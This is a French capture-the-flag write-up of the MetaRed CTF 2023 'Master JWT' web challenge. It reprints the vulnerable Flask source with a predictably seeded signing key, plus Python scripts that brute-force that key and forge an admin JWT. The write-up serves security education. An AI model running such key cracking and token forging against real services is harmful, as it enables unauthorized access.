MetaRedCTF2023 - Master JWT

Introduction

Le 25/10/2023 j’ai pu participer au MetaRed CTF 2023 avec mon équipe Pand’hack. Je vais vous présenter le challenge que j’ai pu résoudre dans la catégorie Web.

Description du challenge

Espérons que le challmaker ne nous mens pas sur la difficulté du challenge et qu’il est réellement possible d’avoir le flag avec seulement deux requêtes. 🤓

Analyse

Lorsque je me rends sur le lien fourni, j’ai directement l’erreur suivante :

1
{"error":"Missing JWT token"}

Heureusement, nous avons accès au code source pour avoir plus d’informations sur le fonctionnement du site web :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, jsonify, make_response
from flask_limiter import Limiter
from jwt import decode, encode, exceptions
import random
from random import randint
import os
from flask import Flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)

limiter = Limiter(
app=app,
default_limits=["2 per minute"],
key_func=get_remote_address,
)

random.seed(f"Sup3S4f3{randint(0, 1000)}")

app.secret_key = f"Sup3S4f3{randint(0, 1000000000000)}"

FLAG = os.environ.get("FLAG", "CTF{fake_flag}")

@app.route('/', methods=['GET'])
@limiter.limit("2 per minute")
def index():
jwt_token = request.headers.get('Authorization')

if not jwt_token:
response = make_response(jsonify({"error": "Missing JWT token"}), 401)
new_token = encode({"user": "non privileged"}, app.secret_key, algorithm='HS256')
response.headers['WWW-Authenticate'] = f'Bearer {new_token}'
return response

try:
payload = decode(jwt_token, app.secret_key, algorithms=['HS256'])
user = payload.get('user', '')

if user.lower() == 'admin':
return jsonify({"flag": FLAG}), 200
else:
return jsonify({"error": "Not authorized"}), 403

except exceptions.InvalidTokenError:
return jsonify({"error": "Invalid JWT token"}), 401


app.run(debug=False, host="0.0.0.0",port=1337)

On remarque rapidement que pour avoir le flag, il faut que le payload du jwt contienne un champ user avec la valeur admin.

1
2
if user.lower() == 'admin':
return jsonify({"flag": FLAG}), 200

Mais le principe du JWT est que le payload et le header sont signés avec une clé secrète.
Cela signifie que si je modifie le payload, la signature ne sera plus valide et le serveur refusera le token.

Le JWT est signé avec app.secret_key qui est la résultante du préfixe “Sup3S4f3” suivi d’un nombre aléatoire entre 0 et 1 000 000 000 000. Par exemple, elle pourrait ressembler à Sup3S4f3123456789, ce qui nous facilite la tâche pour la brute force.

Exploit

Récupération d’un jwt

Dans un premier temps, vu que je n’ai pas encore de jwt, je vais devoir en demander un au serveur. Pour cela, je vais utiliser le script suivant :

1
2
3
4
5
6
7
8
9
10
11
import requests

base_url = "https://jwt.ctf.cert.unlp.edu.ar/"

response = requests.get(base_url)

if 'WWW-Authenticate' in response.headers:
jwt_token = response.headers['WWW-Authenticate'].split('Bearer ')[1]
print("JWT pour un utilisateur non privilégié:", jwt_token)
else:
print("Le JWT n'a pas été trouvé dans la réponse.")

voici l’output du script :

1
JWT pour un utilisateur non privilégié: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M

Je le décode en utilisant jwt_tool :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3.11 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M   

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] user = "non privileged"

Il est bien dans le format attendu.

Brute force de la clé secrète

Maintenant que j’ai récupéré un jwt, je vais pouvoir commencer le brute force de la clé secrète. Pour cela, je vais utiliser le script suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import jwt
import random

given_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M"

for i in range(1001):
random.seed(f"Sup3S4f3{i}")
secret_key_guess = f"Sup3S4f3{random.randint(0, 1000000000000)}"

try:
payload = jwt.decode(given_token, secret_key_guess, algorithms=['HS256'])
if payload.get("user") == "non privileged":
print(f"Clé secrète trouvée: {secret_key_guess}")
break
except jwt.exceptions.InvalidTokenError:
continue

voici l’output du script :

1
Clé secrète trouvée: Sup3S4f3789214526580

Génération du jwt avec le payload modifié

Maintenant que j’ai récupéré la clé secrète, je vais pouvoir tamper mon jwt. Pour cela, je vais utiliser le script suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import jwt
import requests

base_url = 'https://jwt.ctf.cert.unlp.edu.ar/'

secret_key = "Sup3S4f3789214526580"

admin_payload = {
"user": "admin"
}

admin_token = jwt.encode(admin_payload, secret_key, algorithm='HS256')
headers = {
"Authorization": admin_token
}

response = requests.get(base_url, headers=headers)
if "flag{" in response.text:
print("Flag trouvé:", response.text)
else:
print("Réponse:", response.text)

flag{JwT_M4st3r!!!!}

Conclusion

Le challmaker ne nous a pas menti sur la difficulté du challenge. Il était vraiment possible de récupérer le flag avec seulement deux requêtes.


MetaRedCTF2023 - Master JWT
http://example.com/2023/10/26/MetaRedCTF2023/
Author
Neaje
Posted on
October 26, 2023
Licensed under